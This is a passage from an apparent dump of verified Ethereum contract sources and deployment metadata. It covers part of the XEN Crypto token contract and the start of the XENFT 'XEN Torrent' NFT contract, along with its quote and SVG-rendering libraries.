mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
8675b52c96f9bf8a06914012d94fedf86d06eb3e
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 